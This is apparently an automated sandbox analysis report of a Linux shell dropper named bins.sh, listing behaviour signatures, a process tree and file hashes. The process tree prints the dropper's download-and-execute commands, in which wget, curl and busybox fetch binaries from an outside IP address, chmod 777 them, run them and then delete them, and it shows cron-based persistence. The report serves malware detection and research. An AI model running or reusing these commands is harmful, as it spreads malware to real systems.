Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    09-11-2024 04:36

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    b164ba45909c2c3923c1328c84712f04

  • SHA1

    6c7aa04d410f4e2f7c66291e784eda77d29c0ea3

  • SHA256

    c78dfecb3f191e715bcb5c289d282871c859640c7d41a463db38e3d9daad3dee

  • SHA512

    ddb359eeca5e1e44ea04e720bc6eb7ad5117851fc7991fed872de68277f8606e4c5a437e148d9f932388a62e00fe80f30ba31ca5d225b3783e1310eade95907e

  • SSDEEP

    192:CN5mNFBzT2MUNQs+aRaLvbLU8Pa2h5dbzXGN5mNFjOMUNQsDcLvrU8Pa2N5dl:CN5mNFBzT2MUNQs+aRS35dbzXGN5mNFr

Malware Config

Signatures

  • Contacts a large (1639) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 27 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:705
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:712
        • /usr/bin/wget
          wget http://87.120.84.230/bins/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • Writes file to tmp directory
          PID:714
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • Writes file to tmp directory
          PID:732
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • Writes file to tmp directory
          PID:735
        • /bin/chmod
          chmod 777 d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • File and Directory Permissions Modification
          PID:736
        • /tmp/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          ./d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • Executes dropped EXE
          PID:737
        • /bin/rm
          rm d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
            PID:739
          • /usr/bin/wget
            wget http://87.120.84.230/bins/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
            • Writes file to tmp directory
            PID:740
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:741
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
            • Writes file to tmp directory
            PID:742
          • /bin/chmod
            chmod 777 kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
            • File and Directory Permissions Modification
            PID:743
          • /tmp/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            ./kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
            • Executes dropped EXE
            PID:744
          • /bin/rm
            rm kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
              PID:746
            • /usr/bin/wget
              wget http://87.120.84.230/bins/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
              • Writes file to tmp directory
              PID:747
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
              • Writes file to tmp directory
              PID:748
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
              • Writes file to tmp directory
              PID:762
            • /bin/chmod
              chmod 777 4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
              • File and Directory Permissions Modification
              PID:768
            • /tmp/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              ./4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
              • Executes dropped EXE
              PID:769
            • /bin/rm
              rm 4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
                PID:772
              • /usr/bin/wget
                wget http://87.120.84.230/bins/9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                • Writes file to tmp directory
                PID:773
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:784
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                • Writes file to tmp directory
                PID:798
              • /bin/chmod
                chmod 777 9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                • File and Directory Permissions Modification
                PID:801
              • /tmp/9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                ./9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                • Executes dropped EXE
                PID:802
              • /bin/rm
                rm 9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                  PID:805
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  2⤵
                  • Writes file to tmp directory
                  PID:806
                • /usr/bin/curl
                  curl -O http://87.120.84.230/bins/CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  2⤵
                  • Writes file to tmp directory
                  PID:807
                • /bin/busybox
                  /bin/busybox wget http://87.120.84.230/bins/CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  2⤵
                  • Writes file to tmp directory
                  PID:808
                • /bin/chmod
                  chmod 777 CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  2⤵
                  • File and Directory Permissions Modification
                  PID:809
                • /tmp/CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  ./CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  2⤵
                  • Executes dropped EXE
                  PID:810
                • /bin/rm
                  rm CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  2⤵
                    PID:812
                  • /usr/bin/wget
                    wget http://87.120.84.230/bins/NiaCXhT3ao3LG2ZEIBxopAUy9ovxxZQa6V
                    2⤵
                    • Writes file to tmp directory
                    PID:813
                  • /usr/bin/curl
                    curl -O http://87.120.84.230/bins/NiaCXhT3ao3LG2ZEIBxopAUy9ovxxZQa6V
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:814
                  • /bin/busybox
                    /bin/busybox wget http://87.120.84.230/bins/NiaCXhT3ao3LG2ZEIBxopAUy9ovxxZQa6V
                    2⤵
                    • Writes file to tmp directory
                    PID:815
                  • /bin/chmod
                    chmod 777 NiaCXhT3ao3LG2ZEIBxopAUy9ovxxZQa6V
                    2⤵
                    • File and Directory Permissions Modification
                    PID:820
                  • /tmp/NiaCXhT3ao3LG2ZEIBxopAUy9ovxxZQa6V
                    ./NiaCXhT3ao3LG2ZEIBxopAUy9ovxxZQa6V
                    2⤵
                    • Executes dropped EXE
                    PID:821
                  • /bin/rm
                    rm NiaCXhT3ao3LG2ZEIBxopAUy9ovxxZQa6V
                    2⤵
                      PID:825
                    • /usr/bin/wget
                      wget http://87.120.84.230/bins/p5soxVguHUbzXLXytYAhXpMczZCDyyeaNi
                      2⤵
                      • Writes file to tmp directory
                      PID:826
                    • /usr/bin/curl
                      curl -O http://87.120.84.230/bins/p5soxVguHUbzXLXytYAhXpMczZCDyyeaNi
                      2⤵
                      • Writes file to tmp directory
                      PID:839
                    • /bin/busybox
                      /bin/busybox wget http://87.120.84.230/bins/p5soxVguHUbzXLXytYAhXpMczZCDyyeaNi
                      2⤵
                      • Writes file to tmp directory
                      PID:852
                    • /bin/chmod
                      chmod 777 p5soxVguHUbzXLXytYAhXpMczZCDyyeaNi
                      2⤵
                      • File and Directory Permissions Modification
                      PID:853
                    • /tmp/p5soxVguHUbzXLXytYAhXpMczZCDyyeaNi
                      ./p5soxVguHUbzXLXytYAhXpMczZCDyyeaNi
                      2⤵
                      • Executes dropped EXE
                      PID:854
                    • /bin/rm
                      rm p5soxVguHUbzXLXytYAhXpMczZCDyyeaNi
                      2⤵
                        PID:856
                      • /usr/bin/wget
                        wget http://87.120.84.230/bins/ZdYOkn0akHLaRq7AWoPMCE0AoqAQxBg7Z6
                        2⤵
                        • Writes file to tmp directory
                        PID:857
                      • /usr/bin/curl
                        curl -O http://87.120.84.230/bins/ZdYOkn0akHLaRq7AWoPMCE0AoqAQxBg7Z6
                        2⤵
                        • Writes file to tmp directory
                        PID:861
                      • /bin/busybox
                        /bin/busybox wget http://87.120.84.230/bins/ZdYOkn0akHLaRq7AWoPMCE0AoqAQxBg7Z6
                        2⤵
                        • Writes file to tmp directory
                        PID:862
                      • /bin/chmod
                        chmod 777 ZdYOkn0akHLaRq7AWoPMCE0AoqAQxBg7Z6
                        2⤵
                        • File and Directory Permissions Modification
                        PID:863
                      • /tmp/ZdYOkn0akHLaRq7AWoPMCE0AoqAQxBg7Z6
                        ./ZdYOkn0akHLaRq7AWoPMCE0AoqAQxBg7Z6
                        2⤵
                        • Executes dropped EXE
                        PID:864
                      • /bin/rm
                        rm ZdYOkn0akHLaRq7AWoPMCE0AoqAQxBg7Z6
                        2⤵
                          PID:866
                        • /usr/bin/wget
                          wget http://87.120.84.230/bins/TbVmk5tonwQ9kLvWhJrFY8KSFOfEW7MB8E
                          2⤵
                          • Writes file to tmp directory
                          PID:867
                        • /usr/bin/curl
                          curl -O http://87.120.84.230/bins/TbVmk5tonwQ9kLvWhJrFY8KSFOfEW7MB8E
                          2⤵
                          • Writes file to tmp directory
                          PID:868
                        • /bin/busybox
                          /bin/busybox wget http://87.120.84.230/bins/TbVmk5tonwQ9kLvWhJrFY8KSFOfEW7MB8E
                          2⤵
                          • Writes file to tmp directory
                          PID:869
                        • /bin/chmod
                          chmod 777 TbVmk5tonwQ9kLvWhJrFY8KSFOfEW7MB8E
                          2⤵
                          • File and Directory Permissions Modification
                          PID:870
                        • /tmp/TbVmk5tonwQ9kLvWhJrFY8KSFOfEW7MB8E
                          ./TbVmk5tonwQ9kLvWhJrFY8KSFOfEW7MB8E
                          2⤵
                          • Executes dropped EXE
                          • Renames itself
                          • Reads runtime system information
                          PID:871
                          • /bin/sh
                            sh -c "crontab -l"
                            3⤵
                              PID:873
                              • /usr/bin/crontab
                                crontab -l
                                4⤵
                                  PID:874
                              • /bin/sh
                                sh -c "crontab -"
                                3⤵
                                  PID:875
                                  • /usr/bin/crontab
                                    crontab -
                                    4⤵
                                    • Creates/modifies Cron job
                                    • Reads runtime system information
                                    PID:876
                              • /bin/rm
                                rm TbVmk5tonwQ9kLvWhJrFY8KSFOfEW7MB8E
                                2⤵
                                  PID:878
                                • /usr/bin/wget
                                  wget http://87.120.84.230/bins/EQZjCawXEVoSKlQ3FE8BJZ0iqogW93LVLF
                                  2⤵
                                    PID:881

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM

                                  Filesize

                                  107KB

                                  MD5

                                  eb9c3a0de91fcf16ba17cb24608df68c

                                  SHA1

                                  09d95a7d70d5e115d103be51edff7c498d272fac

                                  SHA256

                                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                  SHA512

                                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                • /tmp/9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi

                                  Filesize

                                  117KB

                                  MD5

                                  849fa04ef88a8e8de32cb2e8538de5fe

                                  SHA1

                                  c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                  SHA256

                                  8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                  SHA512

                                  2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                • /tmp/CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9

                                  Filesize

                                  99KB

                                  MD5

                                  9438d9bc392bcf300a5583b6df5bc8f6

                                  SHA1

                                  375a6ae34b516f6f3eeea8030c4084f585017efa

                                  SHA256

                                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                  SHA512

                                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                • /tmp/NiaCXhT3ao3LG2ZEIBxopAUy9ovxxZQa6V

                                  Filesize

                                  119KB

                                  MD5

                                  1b166b95f9cb4b079ef1b9ec8363ddf3

                                  SHA1

                                  0d8eb08add467b3b5474f9b25909297fe7c2839c

                                  SHA256

                                  94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                  SHA512

                                  983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                • /tmp/TbVmk5tonwQ9kLvWhJrFY8KSFOfEW7MB8E

                                  Filesize

                                  151KB

                                  MD5

                                  6c583043d91c55aa470c08c87058e917

                                  SHA1

                                  abf65a5b9bba69980278ad09356e53de8bb89439

                                  SHA256

                                  2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                  SHA512

                                  82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                • /tmp/ZdYOkn0akHLaRq7AWoPMCE0AoqAQxBg7Z6

                                  Filesize

                                  141KB

                                  MD5

                                  3ca8decdb1e52c423c521bfff02ac200

                                  SHA1

                                  8621ecd6807109b8541912ad9e134f6fb49bfd48

                                  SHA256

                                  dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                  SHA512

                                  b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                • /tmp/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR

                                  Filesize

                                  151KB

                                  MD5

                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                  SHA1

                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                  SHA256

                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                  SHA512

                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                • /tmp/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU

                                  Filesize

                                  122KB

                                  MD5

                                  cd3d4b9c643e5b473fb4d88ed05f0716

                                  SHA1

                                  64ee7a97418583d759eaea8000890cc3bae1b5f4

                                  SHA256

                                  0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                  SHA512

                                  164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                • /tmp/p5soxVguHUbzXLXytYAhXpMczZCDyyeaNi

                                  Filesize

                                  177KB

                                  MD5

                                  786d75a158fe731feca3880f436082c0

                                  SHA1

                                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                  SHA256

                                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                  SHA512

                                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                • /var/spool/cron/crontabs/tmp.tuCgAP

                                  Filesize

                                  210B

                                  MD5

                                  4881b5434ef1f8d6ea7651da9a4596e1

                                  SHA1

                                  5b2da84f5adb2fc980214335cf9e2ad456862a06

                                  SHA256

                                  97d181d72e0be84fbdfff882e38e6d27995f9b781611114cae18b6b45cb9886d

                                  SHA512

                                  58541d77db911cc14553e1dfef58695926cf1d47d77fc6e41458bf15970ddf8ce542f0253b062adb5177bab9795915ae0398811fec78ff66531636478fc50755